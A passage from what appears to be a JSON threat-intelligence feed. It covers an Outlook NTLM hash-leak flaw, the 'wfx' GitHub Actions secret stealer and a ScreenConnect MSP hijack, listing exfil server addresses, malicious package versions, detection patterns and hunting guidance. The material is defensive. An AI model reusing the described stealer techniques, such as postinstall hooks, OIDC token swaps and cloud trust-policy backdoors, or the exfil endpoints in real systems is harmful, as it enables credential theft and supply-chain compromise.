endpoints and your own allowlisted ranges are excluded; the address must be new to the estate (not seen on SMB from any device in the first day of the window, and the hit within a day of its first sighting); System connections count only within 2 minutes after a message-file open on the same device. Blocked or failed attempts still match, because they mean the file was opened. Expected false positives: a new, legitimate partner or cloud file share reached by IP right after opening a message. Allowlist it once.", "action": "alert", "has_query": true, "source_url": "https://atarussecurity.com/research/outlook-zero-day-cve-2026-124194-ntlm-hash-leak/", "source_name": "atarussecurity.com", "title": "Outlook message file opened, then SMB to a new public address", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "WebDAV fallback: rundll32 davclnt.dll,DavSetCookie to a public, non-Microsoft host within 2 minutes after Outlook opens a .msg or .eml file, or after a failed SMB attempt to the same address", "log_source": "Defender XDR DeviceProcessEvents, DeviceFileEvents and DeviceNetworkEvents; Sysmon event 1 and 11 in Splunk or Google SecOps", "why": "When outbound SMB is blocked, Windows retries the same path over WebDAV through the WebClient service, which starts rundll32 davclnt.dll,DavSetCookie with the target URL and still sends NTLM. The rundll32 parent is svchost, not Outlook, so the hunt ties it to Outlook by time and device instead of process tree. Tuning: SharePoint, OneDrive, Office, Live and other Microsoft hosts are excluded, as are private and single-label hosts, and your own domains through the allowlist pattern; the WebDAV call must follow a message-file open within 2 minutes, or follow an SMB attempt to the same IP. Expected false positives: a message that links to an approved external WebDAV server, such as a partner's Nextcloud. Allowlist the domain.", "action": "alert", "has_query": true, "source_url": "https://www.security.com/expert-perspectives/protecting-against-outlook-elevation-privilege-escalation", "source_name": "Symantec Threat Hunter Team", "title": "Outlook message file opened, then WebDAV to a public host", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Outgoing NTLM (Microsoft-Windows-NTLM/Operational event 8001) to a public IP address within 2 minutes after Outlook opens a .msg or .eml file on the same device", "log_source": "Microsoft-Windows-NTLM/Operational on workstations (WindowsEvent or Event table in Sentinel, WinEventLog in Splunk), with Defender XDR DeviceFileEvents and DeviceProcessEvents for the Outlook open. Needs the policy Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers set to Audit all", "why": "Event 8001 records every NTLM authentication a workstation attempts to a remote server, whichever program was tricked, and covers SMB and WebDAV. Tuning: only targets that are public IP addresses (cifs/, http/, host/ or ldap/ followed by an IP) count; private, loopback, link-local, CGNAT and multicast ranges and your allowlisted ranges are dropped; the event must follow a message-file open on the same host within 2 minutes. Generic 4624 and 4648 logons are left out because they cannot show the destination of an outgoing NTLM attempt. Expected false positives: an approved external server reached by IP right after opening a message. Allowlist it. The hunt returns nothing until the audit policy is on.", "action": "hunt", "has_query": true, "source_url": "https://ctxsec.com/items/hunt-outlook-cve-2026-124194-ntlm-leak-outbound-smb-webdav-from-outlook", "source_name": "ctxsec.com", "title": "Outlook message file opened, then NTLM sent to a public IP", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 3, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/block_now.txt", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_block_now.txt" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/hunt.kql", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/hunt.spl", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/hunt_raw.spl", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/hunt.yaral", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/iocs.csv", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak", "share_url": "https://iocwatch.com/t/Outlook-CVE-2026-124194-NTLM-Hash-Leak/", "indicators": [ { "value": "CVE-2026-124194", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "CISA Known Exploited Vulnerabilities identifier for the Outlook flaw that can leak NTLMv2 hashes. No campaign IP addresses, domains or file hashes were published. Hunt for OUTLOOK.EXE making outbound SMB (TCP 445 or 139) connections to addresses that are not private.", "source_url": "https://www.cisa.gov/news-events/alerts/2026/11/10/cisa-adds-six-known-exploited-vulnerabilities-catalog", "source_label": "CISA – Adds six known exploited vulnerabilities to catalog, including CVE-2026-124194", "source_name": "CISA", "sources": [ { "url": "https://www.cisa.gov/news-events/alerts/2026/11/10/cisa-adds-six-known-exploited-vulnerabilities-catalog", "name": "CISA" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/hunt.kql", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/hunt.spl", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/hunt_raw.spl", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak/hunt.yaral", "download": "Outlook-CVE-2026-124194-NTLM-Hash-Leak_hunt.yaral" } ] }, { "id": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer", "folder": "threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer", "name": "wfx: Hijacked GitHub Accounts Plant a CI Secret Stealer in Thousands of Repositories", "short": "wfx GitHub Actions CI secret stealer", "category": "Supply chain / CI/CD", "published": "2026-11-11", "entry_date": "2026-11-12 08:05", "last_updated": "2026-11-13 11:23", "seq": 19, "headline": "Stolen GitHub accounts plant a CI secret stealer that exfiltrates repository secrets and backdoors cloud accounts", "summary": "From about 12:45 UTC on 10 November 2026 an attacker used stolen credentials for 4,837 GitHub accounts to plant a CI secret stealer, named wfx after the prefix it puts on its files, branches and cloud objects, in repositories those accounts could write to. Each attack starts with a probe pull request titled 'docs: dependency audit notes' from a wfx-docs branch; Aikido counted these in 61,764 repositories and treats any account that opened one as compromised. The payload, a single shell script of about 1,500 lines, then arrives in one of three ways: injected into an existing workflow ('ci: refresh build cache'), as an npm postinstall hook that runs a .ci-xxxxxx.sh script on every npm install, including on developer machines ('chore: add ci helper'), or as a new build-audit workflow on a short-lived chore/ branch. The actor usually reverts the change within minutes and deletes the workflow run and its logs, so a missing run number is often the only trace. Aikido says the stealer ran in at least 1,806 repositories; SafeDep counted 8,093 repositories that received malicious commits between 10 November 12:46 UTC and 12 November 04:36 UTC, and probe pull requests were still being opened early on 12 November. The script takes repository secrets and variables, GITHUB_TOKEN and Actions runtime tokens, keys found in runner memory, credential files for cloud, SSH, package registries and developer tools, and .env and Terraform state files, and sends them by HTTP POST to port 8080 on three servers or to a Telegram chat. It also swaps GitHub OIDC tokens for AWS, Azure and GCP sessions and leaves backdoors that survive rotation: new AWS access keys, role trust policies opened to any account, and Entra ID federated credentials named wfx-ci-*. The stealer reached the Packagist package digitalelvis/neuronai-studio 3.14.3 and Go module versions of vkuznet/gocurl and onuragtas/docker-env, and 28 WebdriverIO repositories through the project's release account. Aikido found that the accounts overlap with October's GhostAction wave but does not attribute the two to one actor. On 12 November 2026 Fly.io reported that GitHub tokens issued to its GitHub App had been scraped from .git/config files left in some apps deployed from GitHub and used in this campaign; it revoked the tokens and notified the small number of affected customers. The first exfil server and its URL appear in both reports and sit in a network on Spamhaus's ASN-DROP list, so they are on the block list; 153.75.82.159, also on a Spamhaus ASN-DROP network, is on the block list too, as is the published stealer script hash. The Amazon-hosted server is alert-only because the address may be reassigned, and the other single-report indicators stay at medium confidence for alerting.", "caveat": null, "targets": { "countries": [], "regions": [ "Worldwide" ], "sectors": [ "Software development", "Technology", "Cloud services" ], "note": "Public and possibly private GitHub repositories reachable by 4,837 compromised accounts, plus downstream users of the affected Packagist and Go packages; no countries named.", "source": { "url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "label": "Aikido – Compromised GitHub accounts push CI secret stealer to tens of thousands of repositories", "name": "Aikido" } }, "mitre": [ { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1195.002", "name": "Compromise Software Supply Chain", "url": "https://attack.mitre.org/techniques/T1195/002/" }, { "id": "T1677", "name": "Poisoned Pipeline Execution", "url": "https://attack.mitre.org/techniques/T1677/" }, { "id": "T1059.004", "name": "Unix Shell", "url": "https://attack.mitre.org/techniques/T1059/004/" }, { "id": "T1552.001", "name": "Credentials In Files", "url": "https://attack.mitre.org/techniques/T1552/001/" }, { "id": "T1552.005", "name": "Cloud Instance Metadata API", "url": "https://attack.mitre.org/techniques/T1552/005/" }, { "id": "T1528", "name": "Steal Application Access Token", "url": "https://attack.mitre.org/techniques/T1528/" }, { "id": "T1098.001", "name": "Additional Cloud Credentials", "url": "https://attack.mitre.org/techniques/T1098/001/" }, { "id": "T1070", "name": "Indicator Removal", "url": "https://attack.mitre.org/techniques/T1070/" }, { "id": "T1041", "name": "Exfiltration Over C2 Channel", "url": "https://attack.mitre.org/techniques/T1041/" }, { "id": "T1567", "name": "Exfiltration Over Web Service", "url": "https://attack.mitre.org/techniques/T1567/" } ], "recommended_actions": [ "Search every repository you can write to for a wfx-docs branch, pull requests titled 'docs: dependency audit notes', and commits 'ci: refresh build cache', 'chore: add ci helper', 'chore: add dependency audit workflow', 'ci: restore' or 'ci: cleanup' since 10 November; close the probe pull request and delete the branch.", "For any account that opened a probe pull request, revoke its tokens, OAuth app grants, SSH keys and sessions and turn on 2FA; then rotate every secret and variable the affected repository can read, including environment and organisation secrets.", "Check cloud accounts for backdoors that survive rotation: AWS sessions named wfx-* followed by CreateAccessKey or UpdateAssumeRolePolicy, Entra ID federated credentials named wfx-ci-*, GCP GenerateAccessToken or SignJwt from your GitHub workload identity pool, and Vault JWT logins from the GitHub OIDC issuer.", "Block 194.150.166.244 and its /exfil URL now, block 153.75.82.159 in Defender, and alert on 18.143.168.96 (Amazon-hosted) and the older GhostAction server 193.32.204.199.", "Remove neuronai-studio 3.14.3 (pin 3.14.2 or earlier) and the listed gocurl and docker-env versions; treat any machine that ran npm install on an affected commit as compromised and rotate its keys.", "If you connected GitHub to Fly.io or deployed an app from GitHub through the Fly.io dashboard, reconnect the GitHub App after the token revocation, look for a public /.git/config on the app, and also search repositories the app can access for ci-check-<4 digits> branches and a docs/wfx-audit.md file." ], "sources": [ { "url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "label": "Aikido – Compromised GitHub accounts push CI secret stealer to tens of thousands of repositories", "name": "Aikido" }, { "url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "label": "SafeDep – wfx: GitHub Actions credential stealer hits 8,000 repos", "name": "SafeDep" }, { "url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "label": "The Hacker News – Attacker used 4,837 hijacked GitHub accounts to run a CI secret stealer", "name": "The Hacker News" }, { "url": "https://community.fly.io/t/security-github-tokens-exposed-by-apps-deployed-from-github/29070", "label": "Fly.io – GitHub tokens exposed by apps deployed from GitHub", "name": "Fly.io" } ], "indicator_count": 11, "block_now_count": 4, "hunt_count": 7, "hunt_counts": { "alert": 7 }, "indicator_counts": { "filename": 4, "ipv4": 4, "url": 2, "sha256": 1 }, "ioas": [ { "artefact": "npm postinstall hook running a hidden ./.ci-xxxxxx.sh script (sh ./.ci-<6 characters>.sh) on a CI runner or developer machine", "log_source": "Defender XDR DeviceProcessEvents (Linux and macOS developer machines, self-hosted runners)", "why": "The 'chore: add ci helper' variant adds a .ci-<6>.sh script and a package.json postinstall hook, so the stealer runs on every npm install, including on developer laptops. Projects with their own dot-prefixed CI helper scripts can match; check the script name and the commit that added it.", "action": "alert", "has_query": true, "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_name": "SafeDep", "title": "npm postinstall running a hidden .ci- script", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "AWS role sessions named wfx-* (AssumeRoleWithWebIdentity or AssumeRole) followed by CreateAccessKey or UpdateAssumeRolePolicy", "log_source": "AWS CloudTrail, or Defender XDR CloudAppEvents with the AWS connector", "why": "The stealer swaps GitHub OIDC tokens for AWS sessions named wfx-, creates long-lived access keys for IAM users and can rewrite a role's trust policy to open it to any AWS account, so access survives secret rotation.", "action": "alert", "has_query": true, "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_name": "SafeDep", "title": "AWS wfx-* sessions creating keys or opening trust policies", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Federated identity credentials named wfx-ci-* added to Entra ID app registrations", "log_source": "Entra ID audit logs (Update application, Certificates and secrets management)", "why": "The stealer adds a federated credential named wfx-ci- so workflows on the repository's main branch can sign in to Azure as that app without a stored secret, even after client secrets are rotated.", "action": "alert", "has_query": false, "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_name": "SafeDep", "title": "Entra app federated credentials named wfx-ci-*", "queries": [ "SPL" ] }, { "artefact": "A wfx-docs branch or a pull request titled 'docs: dependency audit notes', followed by commits 'ci: refresh build cache', 'chore: add ci helper', 'chore: add dependency audit workflow', 'chore: initial commit', 'ci: restore' or 'ci: cleanup', or a ci-check-<4 digits> branch or a docs/wfx-audit.md file", "log_source": "GitHub audit log, repository history and pull requests", "why": "The probe pull request confirms the stolen token can write to the repository, and Aikido and SafeDep treat any account that opened one as compromised even if no payload followed. Fly.io later confirmed the same pull-request title, wfx-docs and chore/ branches, and also saw ci-check-<4 digits> branches and a docs/wfx-audit.md file. The commit messages are generic, so verify the diff before acting.", "action": "hunt", "has_query": false, "source_url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "source_name": "Aikido", "title": "wfx-docs probe pull requests and payload commits", "queries": [ "SPL" ] }, { "artefact": "Workflow runs deleted, or missing run numbers, on commits pushed and reverted within minutes", "log_source": "GitHub Actions run history and audit log (workflow run deletions)", "why": "After the payload runs the actor reverts the commit and deletes the run and its logs, so a missing run number on the attacker's commit is the more reliable sign the stealer ran; the absence of wfx-loot artefacts, wfx- cache entries or WFX-BEGIN step summaries does not mean nothing was taken.", "action": "hunt", "has_query": false, "source_url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "source_name": "Aikido", "title": "Deleted workflow runs after reverted commits", "queries": [] }, { "artefact": "GCP GenerateAccessToken or SignJwt calls from your GitHub workload identity pool, and Vault or Kubernetes JWT logins from the GitHub OIDC issuer, from repositories that do not normally use them", "log_source": "GCP Cloud Audit Logs, HashiCorp Vault audit logs, Kubernetes API audit logs", "why": "The stealer requests GitHub OIDC tokens for AWS, Azure and GCP even when a repository has no cloud setup, and replays them against Vault and Kubernetes APIs.", "action": "hunt", "has_query": false, "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_name": "SafeDep", "title": "GitHub OIDC tokens used against GCP, Vault or Kubernetes", "queries": [] }, { "artefact": "A web request to /.git/config that returns HTTP 200 with a response body of 100 to 20,000 bytes, from a non-internal source address", "log_source": "IIS / W3C web logs (W3CIISLog) or CEF/WAF logs (CommonSecurityLog). These tables need Microsoft Sentinel connected to the Defender portal; the hunt returns nothing until those logs are ingested.", "why": "Fly.io found that apps deployed from GitHub had left a GitHub access token in .git/config inside the image, and that some apps were serving that file on the public internet. A 200 response in this size range from a public address is consistent with a real git configuration being fetched, including one that may still contain a token. Tuning: the path must end with /.git/config, the status must be 200, the response size must be between 100 and 20,000 bytes (a git config is small; this drops empty replies and large HTML shells), and the source address must not be private, loopback or link-local. Expected false positives: a site that returns HTTP 200 with a small custom HTML page for unknown paths; a vulnerability scanner or an approved external monitor that requests /.git/config. Confirm the response is a git configuration before rotating tokens. Do not treat a 404, or a 200 under 100 bytes, as exposure.", "action": "hunt", "has_query": true, "source_url": "https://community.fly.io/t/security-github-tokens-exposed-by-apps-deployed-from-github/29070", "source_name": "Fly.io", "title": "Public /.git/config request returning HTTP 200", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 7, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/block_now.txt", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/defender_xdr_indicators.csv", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/hunt.kql", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/hunt.spl", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/hunt_raw.spl", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/hunt.yaral", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/iocs.csv", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer", "share_url": "https://iocwatch.com/t/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/", "indicators": [ { "value": "194.150.166.244", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Exfil server that receives stolen CI secrets by HTTP POST on port 8080 (WF_CALLBACK); about half of 200 sampled payload commits sent data here.", "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_label": "SafeDep – wfx: GitHub Actions credential stealer hits 8,000 repos", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "name": "SafeDep" }, { "url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "name": "The Hacker News" }, { "url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "name": "Aikido" } ] }, { "value": "http://194.150.166.244:8080/exfil", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Exfil endpoint set as WF_CALLBACK in the injected workflow and install-hook payloads.", "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_label": "SafeDep – wfx: GitHub Actions credential stealer hits 8,000 repos", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "name": "SafeDep" }, { "url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "name": "The Hacker News" }, { "url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "name": "Aikido" } ] }, { "value": "18.143.168.96", "type": "ipv4", "confidence": "high", "recommended_action": "alert", "description": "Second exfil server receiving stolen CI secrets by HTTP POST on port 8080, seen in the npm postinstall variant.", "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_label": "SafeDep – wfx: GitHub Actions credential stealer hits 8,000 repos", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "name": "SafeDep" } ] }, { "value": "http://18.143.168.96:8080/exfil", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "Exfil endpoint set as WF_CALLBACK in the npm postinstall payload variant.", "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_label": "SafeDep – wfx: GitHub Actions credential stealer hits 8,000 repos", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "name": "SafeDep" } ] }, { "value": "153.75.82.159", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Third exfil server receiving stolen CI secrets by HTTP POST on port 8080, found in SafeDep's second analysis.", "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_label": "SafeDep – wfx: GitHub Actions credential stealer hits 8,000 repos", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "name": "SafeDep" }, { "url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "name": "The Hacker News" } ] }, { "value": "89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the roughly 1,500-line wfx stealer shell script that collects CI secrets, cloud credentials and runner memory.", "source_url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "source_label": "Aikido – Compromised GitHub accounts push CI secret stealer to tens of thousands of repositories", "source_name": "Aikido", "sources": [ { "url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "name": "Aikido" }, { "url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "name": "The Hacker News" } ] }, { "value": "193.32.204.199", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Exfil server used by the October GhostAction secret-scanning workflows that Aikido found left in place alongside this wave in over 100 repositories.", "source_url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "source_label": "Aikido – Compromised GitHub accounts push CI secret stealer to tens of thousands of repositories", "source_name": "Aikido", "sources": [ { "url": "https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories", "name": "Aikido" } ] }, { "value": "digitalelvis/neuronai-studio@3.14.3", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Malicious Packagist release that ships the wfx postinstall hook; pin 3.14.2 or earlier.", "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_label": "SafeDep – wfx: GitHub Actions credential stealer hits 8,000 repos", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "name": "SafeDep" } ] }, { "value": "github.com/vkuznet/gocurl@v0.0.0-20261111095532-8d5aad0cb0da", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Go module pseudo-version that carries the wfx stealer in a GitHub Actions workflow file.", "source_url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "source_label": "SafeDep – wfx: GitHub Actions credential stealer hits 8,000 repos", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/github-actions-wfx-credential-stealer", "name": "SafeDep" } ] }, { "value": "github.com/onuragtas/docker-env@v1.0.278", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Go module version whose GitHub Actions workflow file carries the wfx stealer; Go code and binaries are unchanged.", "source_url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "source_label": "The Hacker News – Attacker used 4,837 hijacked GitHub accounts to run a CI secret stealer", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "name": "The Hacker News" } ] }, { "value": "github.com/onuragtas/docker-env@v1.0.280", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Go module version whose GitHub Actions workflow file carries the wfx stealer; Go code and binaries are unchanged.", "source_url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "source_label": "The Hacker News – Attacker used 4,837 hijacked GitHub accounts to run a CI secret stealer", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/4837-hijacked-github-accounts-ran-ci.html", "name": "The Hacker News" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/hunt.kql", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/hunt.spl", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/hunt_raw.spl", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer/hunt.yaral", "download": "GitHub-Hijacked-Accounts-wfx-CI-Secret-Stealer_hunt.yaral" } ] }, { "id": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign", "folder": "threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign", "name": "ScreenConnect Cloud Panel Hijack: Rogue Clients Pushed to MSP-Managed Endpoints", "short": "ScreenConnect cloud panel hijack (MSPs)", "category": "Supply chain / MSP remote access", "published": "2026-11-11", "entry_date": "2026-11-11 22:05", "last_updated": "2026-11-13 23:30", "seq": 18, "headline": "Hijacked cloud ScreenConnect panels push rogue clients to MSP-managed endpoints and pivot back to technicians", "summary": "Huntress's SOC is responding to an active campaign that began around 17:47 UTC on 11 November 2026 against managed service providers using cloud-hosted ConnectWise ScreenConnect. At the time of its update Huntress was tracking six compromised MSPs and more than 286 endpoints, with the numbers rising; the actor numbers each victim MSP and the observed tags start partway through the sequence, so other MSPs were probably hit first. Huntress has seen no evidence of a new vulnerability and has not confirmed how the panels were accessed; the evidence points to stolen 